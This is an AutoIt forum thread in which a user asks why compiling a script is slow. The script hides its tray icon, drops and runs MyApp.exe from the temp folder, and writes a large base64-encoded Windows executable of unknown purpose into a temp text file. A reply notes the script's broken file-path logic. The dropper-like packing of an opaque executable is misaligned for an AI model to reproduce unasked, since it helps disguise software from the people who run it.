Sign in to follow this  
Followers 0
zampoot

High CPU usage when compiling script uses Fileinstall function

2 posts in this topic

#1 ·  Posted (edited)

I have this simple script which suppose to run two files once compiled

#NoTrayIcon
FileInstall("MyApp.exe", @TempDir &"\MyApp.exe", 1)
RunWait(@ComSpec & ' /c ' & @TempDir &"\MyApp.exe" , @TempDir, @SW_MAXIMIZE)
Global $stri ="JyB+RVhFfgonIFRWcVFBQU1BQUFBRUFBQUEvLzhBQUxnQUFBQUFBQUFBUUFBQUFBQUFBQUFB" & _
"QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQonIEFBQUFBQUFBOEFBQUFBNGZ1ZzRBdEFu" & _
"TkliZ0JUTTBoVkdocGN5QndjbTluY21GdElHTmhibTV2ZENCaVpTQnlkVzRnYVc0ZwonIFJF" & _
"OVRJRzF2WkdVdURRMEtKQUFBQUFBQUFBQ2J3Mkl6MzZJTVlOK2lER0Rmb2d4Z1RPeVVZTjZp" & _
"REdERVA2ZGc1cUlNWU1RLwonIHBtQnNvZ3hnMXRxZllNYWlER0Rmb2cxZ082SU1ZTVEvbzJE" & _
"R29neGd4RCtTWU1XaURHREVQNVpnM3FJTVlOK2ltMkRlb2d4ZwonIHhEK1JZTjZpREdCU2FX" & _
"Tm8zNklNWUFBQUFBQUFBQUFBVUVVQUFFd0JCQUFCdXlWUEFBQUFBQUFBQUFEZ0FDTUJDd0VL" & _
"QUFEMgonIEFRQUFmQUlBQUFBQUFFMzhBQUFBRUFBQUFCQUNBQUFBUUFBQUVBQUFBQUlBQUFV" & _
"QUFBQUFBQUFBQlFBQUFBQUFBQUFBMEFVQQonIEFBUUFBSEZ5QlFBQ0FBQ0JBQUFRQUFBUUFB" & _
"QUFBQkFBQUJBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBRWZnSUFvQUFBQUFEdwonIEF3Qmcy" & _
"UUVBQUFBQUFBQUFBQUFBZGdRQStCNEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"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QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" & _
"QUFBQUFBQQonIEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" & _
"QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUdvawonIHVBMzlRUURvZzk0QkFHaGtORUlBalhY" & _
"UTZFY2xBQUNMZFFpRFpmd0FpOWlOZmdpTlJlRG9BU1lBQURQSk9FNG9ENVRCU1lQaAonIDhJ" & _
"UEJJSUhKQUFBQkFGSC9NUDkxRFA4Mi94V0FFa0lBalhYZzZJVWxBQUNOZGREb2ZTVUFBT2pK" & _
"M2dFQXdnZ0FWWXZzdUF3ZwonIEFBRG9DNkFCQUtGMGtFSUFNOFdKUmZoby93OEFBSTJGOU4v" & _
............................rest of base64 code
Global $sFilePath = @TempDir & "\MyApp.txt"
if FileExists($sFilePath) Then FileDelete($sFilePath)
FileOpen($sFilePath & "\MyApp.txt" , 1)
Filewrite($sFilePath, $stri)
FileClose($sFilePath & "\MyApp.txt")

I have used FileInstall function to run my application and write the base64 encoded string to a text file in temp folder, but it seems the encoded string length is too long (the script size about 2 Mb)  so when compiling the script using the command :

Aut2Exe.exe /in ScriptName.au3 /out  ScriptName.exe /nopack
the process Aut2exe.exe results in High CPU usage (about 40%-50%) for almost 3 minutes to complete the compiling (MyApp.exe size about 1 Mb only), I guess my base64 code lenght is causing that problem but I can't dispense it So is there any trick to reduce the CPU usage or the time needed to compile a single script ? or maybe there is another way to do the same job instead  of using FileInstall ?!
Edited by zampoot

Share this post


Link to post
Share on other sites



Not sure about what your words mean, but you really should look at this again...

Global $sFilePath = @TempDir & "\MyApp.txt"
if FileExists($sFilePath) Then FileDelete($sFilePath)
FileOpen($sFilePath & "\MyApp.txt" , 1)
Filewrite($sFilePath, $stri)
FileClose($sFilePath & "\MyApp.txt")

Are you really trying to open a file named "X:pathtotempdirMyApp.txtMyApp,txt"?

Because it does not make sense, especially when you delete half the weird path first.


AutoIt Absolute Beginners    Require a serial    Pause Script    Video Tutorials by Morthawt   ipify 

Monkey's are, like, natures humans.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0